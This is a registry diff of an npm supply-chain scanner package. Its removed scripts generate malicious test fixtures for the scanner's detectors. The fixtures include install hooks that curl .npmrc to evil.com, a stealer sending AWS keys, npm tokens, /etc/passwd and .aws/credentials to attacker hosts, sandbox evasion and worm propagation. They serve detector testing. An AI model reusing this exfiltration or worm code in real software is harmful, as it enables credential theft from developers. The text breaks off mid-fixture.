@lateos/npm-scan 0.18.2 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (113) hide show
  1. package/CHANGELOG.md +265 -233
  2. package/LICENSING.md +19 -19
  3. package/README.de.md +708 -708
  4. package/README.fr.md +707 -707
  5. package/README.ja.md +704 -704
  6. package/README.md +861 -826
  7. package/README.zh.md +708 -708
  8. package/VALIDATION.md +92 -0
  9. package/backend/cra.js +68 -68
  10. package/backend/db/pg-schema.sql +155 -0
  11. package/backend/db/schema.sql +32 -32
  12. package/backend/db.js +88 -88
  13. package/backend/detectors/atk-001-lifecycle.js +17 -17
  14. package/backend/detectors/atk-002-obfusc.js +261 -261
  15. package/backend/detectors/atk-003-creds.js +13 -13
  16. package/backend/detectors/atk-004-persist.js +13 -13
  17. package/backend/detectors/atk-005-exfil.js +13 -13
  18. package/backend/detectors/atk-006-depconf.js +14 -14
  19. package/backend/detectors/atk-007-typosquat.js +34 -34
  20. package/backend/detectors/atk-008-tarball-tamper.js +91 -91
  21. package/backend/detectors/atk-009-dormant-trigger.js +62 -62
  22. package/backend/detectors/atk-010-sandbox-evasion.js +50 -50
  23. package/backend/detectors/atk-011-transitive-prop.js +76 -76
  24. package/backend/detectors/config/thresholds.js +66 -0
  25. package/backend/detectors/config/whitelist.json +74 -0
  26. package/backend/detectors/cve-2026-48710-badhost/codePattern.js +99 -99
  27. package/backend/detectors/cve-2026-48710-badhost/findings.js +105 -105
  28. package/backend/detectors/cve-2026-48710-badhost/index.js +15 -15
  29. package/backend/detectors/cve-2026-48710-badhost/manifest.js +305 -305
  30. package/backend/detectors/cve-2026-48710-badhost/transitive.js +189 -189
  31. package/backend/detectors/hf-impersonation/index.js +396 -396
  32. package/backend/detectors/hf-impersonation/jaro-winkler.js +44 -44
  33. package/backend/detectors/hf-impersonation/known-orgs.js +5 -5
  34. package/backend/detectors/hf-impersonation/simhash.js +46 -46
  35. package/backend/detectors/index.js +87 -81
  36. package/backend/detectors/lib/ast-patterns.js +21 -0
  37. package/backend/detectors/lib/entropy-analyzer.js +24 -0
  38. package/backend/detectors/megalodon/d1-workflow-scan.js +147 -147
  39. package/backend/detectors/megalodon/d2-credential-harvest.js +61 -61
  40. package/backend/detectors/megalodon/d3-publish-velocity.js +67 -67
  41. package/backend/detectors/megalodon/d4-publisher-drift.js +124 -124
  42. package/backend/detectors/megalodon/d5-bot-commit-identity.js +3 -3
  43. package/backend/detectors/megalodon/d6-date-anachronism.js +3 -3
  44. package/backend/detectors/megalodon/index.js +80 -80
  45. package/backend/detectors/megalodon/types.js +9 -9
  46. package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +42 -42
  47. package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +116 -116
  48. package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +72 -72
  49. package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +45 -45
  50. package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +95 -95
  51. package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +38 -38
  52. package/backend/detectors/mini-shai-hulud/index.js +118 -118
  53. package/backend/detectors/mini-shai-hulud/iocs.json +79 -79
  54. package/backend/detectors/tier1-binary-embed.js +34 -5
  55. package/backend/detectors/tier1-obfuscation-heuristics.js +156 -0
  56. package/backend/detectors/tier1-slsa-attestation.js +12 -0
  57. package/backend/detectors/tier1-version-anomaly.js +187 -0
  58. package/backend/detectors.test.js +88 -0
  59. package/backend/fetch.js +175 -175
  60. package/backend/index.js +4 -4
  61. package/backend/license.js +89 -89
  62. package/backend/lockfile.js +379 -379
  63. package/backend/pdf.js +245 -245
  64. package/backend/policy.js +193 -193
  65. package/backend/report.js +254 -254
  66. package/backend/sbom.js +66 -66
  67. package/backend/scripts/analyze-false-positives.js +146 -0
  68. package/backend/scripts/analyze-validation.js +151 -0
  69. package/backend/scripts/detect-false-positives.js +93 -0
  70. package/backend/scripts/fetch-top-packages.js +129 -0
  71. package/backend/scripts/validate-detectors.js +142 -0
  72. package/backend/siem/cef.js +32 -32
  73. package/backend/siem/ecs.js +40 -40
  74. package/backend/siem/index.js +18 -18
  75. package/backend/siem/qradar.js +56 -56
  76. package/backend/siem/sentinel.js +27 -27
  77. package/backend/tests-d5-enhanced.test.js +46 -0
  78. package/backend/tests-d6-version-anomaly.test.js +58 -0
  79. package/backend/tests-d6.test.js +116 -0
  80. package/backend/tests-d6c.test.js +106 -0
  81. package/backend/tests-d7-obfuscation.test.js +91 -0
  82. package/backend/tests.test.js +898 -0
  83. package/backend/vsix-scan/detectors/activation-event-risk.js +116 -116
  84. package/backend/vsix-scan/detectors/burst-publish.js +52 -52
  85. package/backend/vsix-scan/detectors/exfil-pattern.js +88 -88
  86. package/backend/vsix-scan/detectors/known-ioc.js +105 -105
  87. package/backend/vsix-scan/detectors/orphan-commit-fetch.js +69 -69
  88. package/backend/vsix-scan/detectors/publisher-anomaly.js +70 -70
  89. package/backend/vsix-scan/index.js +183 -183
  90. package/backend/vsix-scan/marketplace-client.js +145 -145
  91. package/backend/vsix-scan/vsix-iocs.json +31 -31
  92. package/cli/cli.js +458 -458
  93. package/package.json +74 -57
  94. package/.dockerignore +0 -20
  95. package/.husky/pre-commit +0 -1
  96. package/SECURITY.md +0 -73
  97. package/deploy/helm/npm-scan/Chart.yaml +0 -22
  98. package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
  99. package/deploy/helm/npm-scan/templates/api.yaml +0 -94
  100. package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
  101. package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
  102. package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
  103. package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
  104. package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
  105. package/deploy/helm/npm-scan/values.yaml +0 -103
  106. package/scripts/download-corpus.js +0 -30
  107. package/scripts/gen-mal-corpus.js +0 -35
  108. package/scripts/generate-campaign-fixtures.js +0 -170
  109. package/src/config/top-5000.json +0 -87
  110. package/test/fixtures/lockfiles/npm-lock.json +0 -69
  111. package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
  112. package/test/fixtures/lockfiles/yarn.lock +0 -104
  113. package/test/fixtures/mock-data.js +0 -69
@@ -1,30 +0,0 @@
1
- import fetch from 'node-fetch';
2
- import { writeFileSync, existsSync } from 'fs';
3
-
4
- const TOP_PKGS = [
5
- 'lodash', 'chalk', 'react', 'axios', 'express',
6
- 'tslib', 'commander', 'typescript', 'vue', 'next',
7
- 'yargs', 'debug', 'moment', 'uuid', 'semver',
8
- 'rimraf', 'eslint', 'prettier', 'webpack', 'babel-core',
9
- 'underscore', 'request', 'async', 'cheerio', 'bluebird',
10
- 'jest', 'mocha', 'dotenv', 'glob', 'node-fetch',
11
- 'minimist', 'body-parser', 'cors', 'helmet', 'jsonwebtoken',
12
- 'socket.io', 'redis', 'mongoose', 'sequelize', 'pg',
13
- 'passport', 'nodemailer', 'multer', 'bcrypt', 'winston',
14
- 'luxon', 'dayjs', 'class-validator', 'rxjs', 'redux'
15
- ];
16
-
17
- for (const pkg of TOP_PKGS) {
18
- const file = `tests/corpus/clean/${pkg}.tgz`;
19
- if (existsSync(file)) { console.log(`SKIP ${pkg}`); continue; }
20
- try {
21
- const res = await fetch(`https://registry.npmjs.org/${pkg}/latest`);
22
- const meta = await res.json();
23
- const tarRes = await fetch(meta.dist.tarball);
24
- const buf = Buffer.from(await tarRes.arrayBuffer());
25
- writeFileSync(file, buf);
26
- console.log(`OK ${pkg} (${(buf.length/1024).toFixed(0)}KB)`);
27
- } catch (e) {
28
- console.log(`FAIL ${pkg}: ${e.message}`);
29
- }
30
- }
@@ -1,35 +0,0 @@
1
- import { execSync } from 'child_process';
2
- import { writeFileSync, mkdirSync, rmSync } from 'fs';
3
- import { join } from 'path';
4
-
5
- const BASE = '/tmp/npm-scan-mal';
6
-
7
- const MALS = [
8
- { name: 'shai-hulud', pkg: { scripts: { preinstall: 'curl -d @~/.npmrc https://c2.evil.com/x' } }, js: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' },
9
- { name: 'mal-dns-exfil', pkg: {}, js: 'dns.resolve(key + ".exfil.com", (err, addr) => {})' },
10
- { name: 'mal-tamper-1', pkg: { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-mirror.git' } }, js: 'module.exports = { malicious: true }' },
11
- { name: 'mal-tamper-2', pkg: { name: 'react', repository: { url: 'https://github.com/attacker/react-evil.git' } }, js: '// Source: https://evil.com/react/original.js\nmodule.exports = {}' },
12
- { name: 'mal-dormant-1', pkg: {}, js: 'if (process.env.NODE_ENV === "production") { eval(atob("Y29uc29sZS5sb2coJ2V2aWwnKQ==")) }' },
13
- { name: 'mal-dormant-2', pkg: {}, js: 'if (new Date() > new Date("2026-06-01")) { require("./payload.js") }' },
14
- { name: 'mal-dormant-3', pkg: {}, js: 'if (process.env.CI) { process.exit(0) } else { /* malicious */ require("./exploit.js") }' },
15
- { name: 'mal-evasion-1', pkg: {}, js: 'if (os.hostname().includes("docker") || os.hostname().includes("sandbox")) { process.exit(0) }' },
16
- { name: 'mal-evasion-2', pkg: {}, js: 'if (process.argv.join(" ").includes("inspect")) { debugger; /* stop analysis */ }' },
17
- { name: 'mal-evasion-3', pkg: {}, js: 'try { throw new Error(); } catch(e) { if (e.stack.includes("sandbox")) { process.exit(0) } }' },
18
- { name: 'mal-prop-1', pkg: { name: '@evil/worm' }, js: 'execSync("npm install ./worm-pkg"); execSync("npm link")' },
19
- { name: 'mal-prop-2', pkg: {}, js: 'fs.writeFileSync("../lodash/node_modules/worm/index.js", "module.exports = { compromised: true }")' },
20
- { name: 'mal-prop-3', pkg: { name: 'worm-pkg' }, js: `const pj = require('../express/package.json'); pj.scripts.install = 'node worm.js'; fs.writeFileSync('../express/package.json', JSON.stringify(pj))` },
21
- ];
22
-
23
- for (const mal of MALS) {
24
- const dir = join(BASE, mal.name);
25
- rmSync(dir, { recursive: true, force: true });
26
- mkdirSync(dir, { recursive: true });
27
- writeFileSync(join(dir, 'package.json'), JSON.stringify({ name: mal.name, version: '1.0.0', ...mal.pkg }));
28
- if (mal.js) writeFileSync(join(dir, 'index.js'), mal.js);
29
- execSync(`tar czf tests/corpus/malicious/${mal.name}.tgz -C ${BASE} ${mal.name}`);
30
- console.log(`OK ${mal.name}`);
31
- }
32
-
33
- console.log('All mal corpus entries generated.');
34
- console.log('Total:', MALS.length);
35
- console.log('New entries: tamper-1, tamper-2, dormant-1, dormant-2, dormant-3, evasion-1, evasion-2, evasion-3');
@@ -1,170 +0,0 @@
1
- import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'fs';
2
- import { execSync } from 'child_process';
3
- import { tmpdir } from 'os';
4
- import { join } from 'path';
5
- import { fileURLToPath } from 'url';
6
- import { dirname } from 'path';
7
-
8
- const __dirname = dirname(fileURLToPath(import.meta.url));
9
- const CORPUS_DIR = join(__dirname, '..', 'tests', 'corpus', 'malicious');
10
-
11
- const TOP_TYPOS = [
12
- 'reacct', 'expres', 'axiox', 'chlak', 'vuue', 'typescrip',
13
- 'momnet', 'uuuid', 'commnder', 'debuge', 'semverr', 'underscoree',
14
- 'requesst', 'asycn',
15
- ];
16
-
17
- const BINARY_NAMES = ['bun', 'deno', 'go', 'rustc', 'python'];
18
-
19
- function writeFile(filePath, content) {
20
- writeFileSync(filePath, content, 'utf8');
21
- }
22
-
23
- function createElfBinary(size = 4096) {
24
- const buf = Buffer.alloc(size, 0);
25
- buf[0] = 0x7f;
26
- buf[1] = 0x45;
27
- buf[2] = 0x4c;
28
- buf[3] = 0x46;
29
- buf[4] = 2;
30
- buf[5] = 1;
31
- buf[6] = 1;
32
- buf[7] = 0;
33
- return buf;
34
- }
35
-
36
- function createPeBinary(size = 4096) {
37
- const buf = Buffer.alloc(size, 0);
38
- buf[0] = 0x4d;
39
- buf[1] = 0x5a;
40
- return buf;
41
- }
42
-
43
- function buildTarball(dir, tmpParent) {
44
- const tgzPath = join(CORPUS_DIR, `${dir}.tgz`);
45
- execSync(`tar czf "${tgzPath}" -C "${tmpParent}" "${dir}"`, { stdio: 'pipe', shell: 'powershell' });
46
- }
47
-
48
- function createCampaign1Package(n) {
49
- const dir = `campaign-1-${String(n).padStart(3, '0')}`;
50
- const pkgJson = {
51
- name: `vulnerable-package-${n}`,
52
- version: '99.0.0',
53
- description: 'Campaign 1 test fixture',
54
- repository: { url: 'https://github.enterprise.internal/org/repo' },
55
- homepage: 'https://jira.internal/browse/PROJ-123',
56
- bugs: { url: 'https://docs.internal/issues' },
57
- scripts: {
58
- postinstall: 'node -e "eval(Buffer.from(\'dmFyIHggPSAx\' ,\'base64\').toString())"',
59
- },
60
- };
61
-
62
- const distIndexJs = `(function() {
63
- const os = require('os');
64
- const env = process.env;
65
- const profile = {
66
- hostname: os.hostname(),
67
- platform: os.platform(),
68
- arch: os.arch(),
69
- env: { AWS_ACCESS_KEY_ID: env.AWS_ACCESS_KEY_ID }
70
- };
71
- console.log('[RECON]', JSON.stringify(profile));
72
- })();`;
73
-
74
- const tmpParent = mkdtempSync(join(tmpdir(), 'camp1-'));
75
- const pkgDir = join(tmpParent, dir);
76
- mkdirSync(join(pkgDir, 'dist'), { recursive: true });
77
- writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
78
- writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
79
-
80
- buildTarball(dir, tmpParent);
81
- rmSync(tmpParent, { recursive: true, force: true });
82
- console.log(` Created ${dir}.tgz`);
83
- }
84
-
85
- function createCampaign2Package(n) {
86
- const dir = `campaign-2-${String(n).padStart(3, '0')}`;
87
- const typoName = TOP_TYPOS[(n - 1) % TOP_TYPOS.length];
88
- const binName = BINARY_NAMES[(n - 1) % BINARY_NAMES.length];
89
-
90
- const pkgJson = {
91
- name: typoName,
92
- version: '1.0.0',
93
- description: 'Test fixture',
94
- };
95
-
96
- const distIndexJs = `const fs = require('fs');
97
- const { execSync } = require('child_process');
98
- const awsKey = process.env.AWS_ACCESS_KEY_ID;
99
- const npmToken = process.env.NODE_AUTH_TOKEN;
100
- const data = fs.readFileSync('/etc/passwd', 'utf8');
101
- if (awsKey || npmToken) {
102
- fetch('https://attacker.com/creds', {
103
- method: 'POST',
104
- body: JSON.stringify({ awsKey, npmToken, data })
105
- });
106
- }`;
107
-
108
- const tmpParent = mkdtempSync(join(tmpdir(), 'camp2-'));
109
- const pkgDir = join(tmpParent, dir);
110
- mkdirSync(join(pkgDir, 'dist'), { recursive: true });
111
- mkdirSync(join(pkgDir, 'bin'), { recursive: true });
112
- writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
113
- writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
114
-
115
- writeFileSync(join(pkgDir, 'bin', binName), createElfBinary(32768));
116
- writeFileSync(join(pkgDir, 'bin', `${binName}.exe`), createPeBinary(32768));
117
-
118
- buildTarball(dir, tmpParent);
119
- rmSync(tmpParent, { recursive: true, force: true });
120
- console.log(` Created ${dir}.tgz (typo: ${typoName}, binary: ${binName})`);
121
- }
122
-
123
- function createCampaign3Package() {
124
- const dir = 'campaign-3-infostealer';
125
-
126
- const pkgJson = {
127
- name: 'mouse5212-super-formatter',
128
- version: '1.0.0',
129
- description: 'Super formatter',
130
- };
131
-
132
- const distIndexJs = `const fs = require('fs');
133
- const { execSync } = require('child_process');
134
- const secretFiles = ['package.json', '.env', '.npmrc', '.aws/credentials'];
135
- for (const file of secretFiles) {
136
- try {
137
- const content = fs.readFileSync(process.env.HOME + '/' + file, 'utf8');
138
- const ghToken = 'ghp_stub1234567890abcdefghijklmnopqr';
139
- const exfilUrl = 'https://api.github.com/repos/attacker/stolen-secrets/contents/data.json';
140
- execSync('curl -X PUT "' + exfilUrl + '" -H "Authorization: token ' + ghToken + '" -d ' + JSON.stringify(content));
141
- } catch (e) {
142
- }
143
- }`;
144
-
145
- const tmpParent = mkdtempSync(join(tmpdir(), 'camp3-'));
146
- const pkgDir = join(tmpParent, dir);
147
- mkdirSync(join(pkgDir, 'dist'), { recursive: true });
148
- writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
149
- writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
150
-
151
- buildTarball(dir, tmpParent);
152
- rmSync(tmpParent, { recursive: true, force: true });
153
- console.log(` Created ${dir}.tgz`);
154
- }
155
-
156
- // ─── Generate All Campaigns ─────────────────────────────────────────
157
- console.log('Generating Campaign 1 (33 packages)...');
158
- for (let i = 1; i <= 33; i++) {
159
- createCampaign1Package(i);
160
- }
161
-
162
- console.log('Generating Campaign 2 (14 packages)...');
163
- for (let i = 1; i <= 14; i++) {
164
- createCampaign2Package(i);
165
- }
166
-
167
- console.log('Generating Campaign 3 (1 package)...');
168
- createCampaign3Package();
169
-
170
- console.log('\nAll 48 campaign tarballs generated successfully!');
@@ -1,87 +0,0 @@
1
- [
2
- "lodash", "react", "express", "axios", "chalk", "vue", "typescript", "moment", "uuid", "commander",
3
- "debug", "semver", "underscore", "request", "async", "cheerio", "bluebird", "jest", "mocha", "dotenv",
4
- "glob", "minimist", "body-parser", "cors", "helmet", "jsonwebtoken", "socket.io", "redis", "mongoose", "sequelize",
5
- "pg", "passport", "nodemailer", "multer", "bcrypt", "winston", "luxon", "dayjs", "rxjs", "redux",
6
- "react-dom", "next", "nuxt", "angular", "fastify", "hono", "koa", "connect", "vite", "rollup",
7
- "esbuild", "babel-core", "ramda", "node-fetch", "got", "superagent", "prisma", "typeorm", "vitest", "ava",
8
- "prettier", "eslint", "stylelint", "ws", "rimraf", "minimatch", "fs-extra", "webpack", "parcel", "gatsby",
9
- "tslib", "core-js", "regenerator-runtime", "buffer", "class-validator", "class-transformer", "reflect-metadata", "zone.js", "graphql", "apollo-server",
10
- "express-graphql", "type-graphql", "nexus", "prisma-binding", "graphql-yoga", "apollo-client", "urql", "relay-runtime", "subscriptions-transport-ws", "graphql-subscriptions",
11
- "graphql-tools", "graphql-tag", "graphql-upload", "dataloader", "envalid", "joi", "yup", "zod", "superstruct", "io-ts",
12
- "runtypes", "ow", "ajv", "validator", "validatorjs", "validate.js", "indicative", "computed-types", "typebox", "typia",
13
- "sinon", "chai", "should", "expect", "proxyquire", "nock", "nyc", "istanbul", "c8", "tap",
14
- "ava", "uvu", "tape", "benchmark", "microbench", "node-fetch", "cross-fetch", "isomorphic-fetch", "ky", "got",
15
- "undici", "needle", "phin", "wreck", "bent", "make-fetch-happen", "http-proxy-agent", "https-proxy-agent", "socks-proxy-agent", "agent-base",
16
- "express-session", "cookie-parser", "cookie-session", "csurf", "lusca", "helmet-csp", "hpp", "rate-limiter-flexible", "express-rate-limit", "express-brute",
17
- "passport-local", "passport-jwt", "passport-oauth2", "passport-http", "passport-google-oauth", "passport-facebook", "passport-github", "passport-twitter", "passport-linkedin", "passport-apple",
18
- "bcryptjs", "argon2", "scrypt", "password-hash", "hasha", "pbkdf2", "node-forge", "crypto-js", "crypto-random-string", "nanoid",
19
- "jsonwebtoken", "json5", "fast-json-stable-stringify", "flatted", "serialize-javascript", "javascript-natural-sort", "json-stringify-safe", "json-stable-stringify", "json3", "json-parse-even-better-errors",
20
- "morgan", "pino", "winston-cloudwatch", "log4js", "bunyan", "signale", "consola", "loglevel", "loglevelnext", "roarr",
21
- "ora", "listr", "progress", "cli-progress", "cli-spinners", "log-symbols", "log-update", "figures", "ansi-styles", "supports-color",
22
- "nodemon", "concurrently", "npm-run-all", "parallelshell", "shelljs", "execa", "cross-env", "env-cmd", "dotenv-safe", "dotenv-expand",
23
- "pm2", "forever", "supervisor", "node-dev", "tsx", "ts-node", "ts-node-dev", "ts-jest", "ts-loader", "typescript-json-schema",
24
- "eslint-config-airbnb", "eslint-config-prettier", "eslint-plugin-react", "eslint-plugin-vue", "eslint-plugin-import", "eslint-plugin-node", "eslint-plugin-promise", "eslint-plugin-standard", "eslint-plugin-jsx-a11y", "eslint-plugin-jest",
25
- "prettier-eslint", "pretty-quick", "lint-staged", "husky", "lint-staged", "commitlint", "cz-conventional-changelog", "standard-version", "semantic-release", "release-it",
26
- "webpack-cli", "webpack-dev-server", "webpack-merge", "webpack-node-externals", "css-loader", "style-loader", "sass-loader", "less-loader", "postcss-loader", "file-loader",
27
- "url-loader", "html-webpack-plugin", "mini-css-extract-plugin", "terser-webpack-plugin", "optimize-css-assets-webpack-plugin", "clean-webpack-plugin", "copy-webpack-plugin", "define-plugin", "provide-plugin", "ignore-plugin",
28
- "electron", "electron-builder", "electron-packager", "electron-forge", "nativefier", "nw", "nw-builder", "tauri", "tauri-cli", "wry",
29
- "puppeteer", "playwright", "playwright-core", "cypress", "selenium-webdriver", "webdriverio", "nightwatch", "testcafe", "protractor", "karma",
30
- "sharp", "node-canvas", "canvas", "jimp", "gm", "lwip", "pngjs", "jpeg-js", "gif-js", "qrcode",
31
- "ffmpeg-static", "fluent-ffmpeg", "ffprobe-static", "musicmetadata", "node-id3", "sox-audio", "wav", "speaker", "node-lame", "audiobuffer-to-wav",
32
- "chromium", "chrome-launcher", "chrome-aws-lambda", "puppeteer-extra", "puppeteer-extra-plugin-stealth", "playwright-extra", "puppeteer-cluster", "puppeteer-core", "playwright-firefox", "playwright-webkit",
33
- "react-scripts", "create-react-app", "react-dev-utils", "react-error-overlay", "react-refresh", "react-hot-loader", "react-fast-refresh", "react-app-polyfill", "react-app-rewired", "customize-cra",
34
- "next", "gatsby", "gatsby-cli", "gatsby-plugin-*", "gridsome", "remix", "remix-run", "blitz", "blitzjs", "redwoodjs",
35
- "@angular/cli", "@angular/core", "@angular/common", "@angular/compiler", "@angular/platform-browser", "@angular/platform-browser-dynamic", "@angular/forms", "@angular/router", "@angular/http", "@angular/animations",
36
- "@angular-devkit/core", "@angular-devkit/schematics", "@angular-devkit/build-angular", "@angular-devkit/build-optimizer", "@ngrx/store", "@ngrx/effects", "@ngrx/entity", "@ngrx/store-devtools", "@angular/material", "@angular/cdk",
37
- "vue-router", "vuex", "vuepress", "vue-cli", "vue-loader", "vue-template-compiler", "vue-server-renderer", "vite", "vitest", "pinia",
38
- "nuxt", "svelte", "sveltekit", "sapper", "solid-js", "solid-start", "preact", "inferno", "lit", "lit-html",
39
- "htm", "hono", "alpinejs", "stimulus", "turbolinks", "hotwired-turbo", "hotwired-stimulus", "unpoly", "petite-vue", "qwik",
40
- "express", "fastify", "hapi", "restify", "micro", "polka", "tinyhttp", "sails", "adonis-framework", "loopback",
41
- "feathers", "nest", "routing-controllers", "typedi", "inversify", "awilix", "awilix-express", "express-di", "injection-js", "tsyringe",
42
- "typeorm", "prisma", "drizzle-orm", "knex", "kysely", "better-sqlite3", "sql.js", "sequelize", "bookshelf", "objection",
43
- "mongoose", "mongodb", "mongodb-memory-server", "mongoose-sequence", "mongoskin", "monk", "realm", "tingodb", "lokijs", "nedb",
44
- "redis", "ioredis", "redis-commander", "connect-redis", "session-file-store", "connect-mongo", "connect-memcached", "couchbase", "memcached", "leveldown",
45
- "mysql", "mysql2", "mariasql", "pg-promise", "pg-native", "pg-pool", "sqlite3", "sql.js", "better-sqlite3", "sqlcipher",
46
- "socket.io", "ws", "uws", "faye-websocket", "sockjs", "socket.io-client", "socket.io-redis", "socket.io-emitter", "socket.io-adapter", "primus",
47
- "amqplib", "kafkajs", "node-rdkafka", "rhea", "nats", "nats-hemera", "mqtt", "mqemitter", "mosca", "aedes",
48
- "bull", "bullmq", "bee-queue", "kue", "agenda", "node-cron", "cron", "node-schedule", "later", "bree",
49
- "handlebars", "mustache", "ejs", "pug", "nunjucks", "liquidjs", "eta", "twig", "marko", "dustjs-linkedin",
50
- "jsdom", "cheerio", "htmlparser2", "node-html-parser", "parse5", "linkedom", "xmldom", "sax", "node-expat", "libxmljs",
51
- "marked", "remarkable", "showdown", "markdown-it", "commonmark", "remark", "remark-parse", "remark-stringify", "unified", "rehype",
52
- "dayjs", "date-fns", "luxon", "moment-timezone", "timeago.js", "ms", "pretty-ms", "pretty-hrtime", "strftime", "dateformat",
53
- "dotenv", "config", "nconf", "convict", "env-var", "envschema", "envalid", "properties-reader", "ini", "toml",
54
- "colors", "chalk", "kleur", "colorette", "picocolors", "nanocolors", "ansi-colors", "color-string", "color-convert", "color-name",
55
- "fs-extra", "graceful-fs", "make-dir", "klaw", "klaw-sync", "readdirp", "watchpack", "chokidar", "fsevents", "micromatch",
56
- "globby", "fast-glob", "picomatch", "minimatch", "brace-expansion", "ignore", "anymatch", "is-glob", "is-extglob", "normalize-path",
57
- "archiver", "unzipper", "decompress", "tar", "tar-fs", "tar-stream", "yauzl", "yazl", "adm-zip", "extract-zip",
58
- "cross-spawn", "spawn-command", "tree-kill", "signal-exit", "ps-tree", "pidtree", "pidusage", "process-exists", "find-process", "fkill",
59
- "which", "find-up", "locate-path", "pkg-dir", "resolve-from", "import-fresh", "resolve", "resolve-cwd", "pkg-up", "global-prefix",
60
- "cosmiconfig", "lilconfig", "load-json-file", "parse-json", "json-parse-even-better-errors", "json5", "strip-json-comments", "comment-json", "jsonc-parser", "hjson",
61
- "zod", "joi", "yup", "superstruct", "io-ts", "runtypes", "ow", "typebox", "typia", "valibot",
62
- "inquirer", "enquirer", "prompts", "readline-sync", "read", "co-prompt", "cli-interact", "listr2", "node-prompt", "password-prompt",
63
- "yargs", "yargs-parser", "meow", "arg", "getopts", "mri", "sade", "cac", "clipanion", "command-line-args",
64
- "ora", "nanospinner", "cli-spinners", "listr", "progress", "cli-progress", "log-update", "log-symbols", "spinnies", "elegant-spinner",
65
- "boxen", "window-size", "cli-table", "cli-table3", "easy-table", "columnify", "wordwrap", "wrap-ansi", "string-width", "strip-ansi",
66
- "http-errors", "http-status-codes", "statuses", "boom", "http-assert", "http-response-object", "http-errors", "http-status", "status-code", "http-code",
67
- "express", "koa", "koa-router", "koa-body", "koa-static", "koa-send", "koa-compress", "koa-logger", "koa-cors", "koa-session",
68
- "axios", "superagent", "got", "node-fetch", "cross-fetch", "isomorphic-fetch", "ky", "ky-universal", "make-fetch-happen", "undici",
69
- "lodash", "ramda", "lodash-es", "lodash.merge", "lodash.get", "lodash.set", "lodash.clonedeep", "lodash.isequal", "lodash.pick", "lodash.omit",
70
- "defu", "merge-options", "deepmerge", "assign-deep", "deep-assign", "defaults-deep", "clone-deep", "merge-deep2", "merge-descriptors", "utils-merge",
71
- "uuid", "nanoid", "cuid", "ulid", "bson", "objectid", "shortid", "hyperid", "flake-idgen", "snowflake-id",
72
- "express", "passport", "bcrypt", "jsonwebtoken", "helmet", "cors", "express-rate-limit", "express-session", "cookie-parser", "csurf",
73
- "next-auth", "passport", "passport-jwt", "passport-local", "keycloak-connect", "oauth2orize", "grant", "openid-client", "node-oidc-provider", "iron-session",
74
- "lodash", "rxjs", "immer", "immutable", "seamless-immutable", "dot-prop", "object-path", "selectn", "rfdc", "clone",
75
- "react-router", "react-router-dom", "reach-router", "wouter", "raviger", "navigation-react", "router5", "universal-router", "redux-router", "connected-react-router",
76
- "redux", "redux-toolkit", "mobx", "mobx-react-lite", "recoil", "jotai", "zustand", "valtio", "xstate", "effector",
77
- "react-query", "tanstack-query", "swr", "apollo-client", "urql", "relay-runtime", "react-apollo", "graphql-request", "rtk-query", "redux-observable",
78
- "react-hook-form", "formik", "react-final-form", "redux-form", "uniforms", "react-jsonschema-form", "informed", "react-form", "formily", "vest",
79
- "d3", "chart.js", "echarts", "highcharts", "plotly.js", "recharts", "victory", "nivo", "visx", "billboard.js",
80
- "three", "babylonjs", "phaser", "pixi.js", "playcanvas", "aframe", "cannon-es", "ammo.js", "oimo", "matter-js",
81
- "leaflet", "openlayers", "mapbox-gl", "cesium", "deck.gl", "luma.gl", "turf", "geolib", "geojson", "proj4",
82
- "i18next", "react-i18next", "polyglot", "i18n", "i18n-js", "formatjs", "lingui", "react-intl", "react-intl-universal", "fbt",
83
- "pdfkit", "pdf-lib", "pdfmake", "pdfjs", "jspdf", "pdf2json", "pdf-parse", "pdf2pic", "html-pdf", "puppeteer",
84
- "exceljs", "xlsx", "csv-parse", "csv-stringify", "csvtojson", "csv-parser", "papaparse", "json2csv", "csv2json", "csv-writer",
85
- "mongoist", "mongojs", "mongodb-memory-server", "mongodb-memory-server-core", "mongotop", "mongostat", "mongorestore", "mongodump", "mongo-hacker", "mongoplayground",
86
- "json2typescript", "ts-json-serializer", "class-transformer", "autobind-decorator", "reflect-metadata", "typed-mock", "ts-mockito", "jest-mock-extended", "type-mock", "typemoq"
87
- ]
@@ -1,69 +0,0 @@
1
- {
2
- "name": "test-project",
3
- "version": "1.0.0",
4
- "lockfileVersion": 3,
5
- "packages": {
6
- "": {
7
- "name": "test-project",
8
- "version": "1.0.0",
9
- "dependencies": {
10
- "lodash": "^4.17.21",
11
- "axios": "^1.6.0"
12
- },
13
- "devDependencies": {
14
- "@babel/core": "^7.23.0"
15
- }
16
- },
17
- "node_modules/lodash": {
18
- "name": "lodash",
19
- "version": "4.17.21",
20
- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
21
- "integrity": "sha512-v2kDEeDAnj4p1hhL6Ogrgu4BSWwg8cD2fRIouDAiqwu+iNl1IvyMex9jG9j8OpNp1zntnv/headququbit",
22
- "dependencies": {}
23
- },
24
- "node_modules/axios": {
25
- "name": "axios",
26
- "version": "1.6.8",
27
- "resolved": "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz",
28
- "integrity": "sha512-j2xvyqwsdd456789abcdef",
29
- "dependencies": {
30
- "form-data": "4.0.0",
31
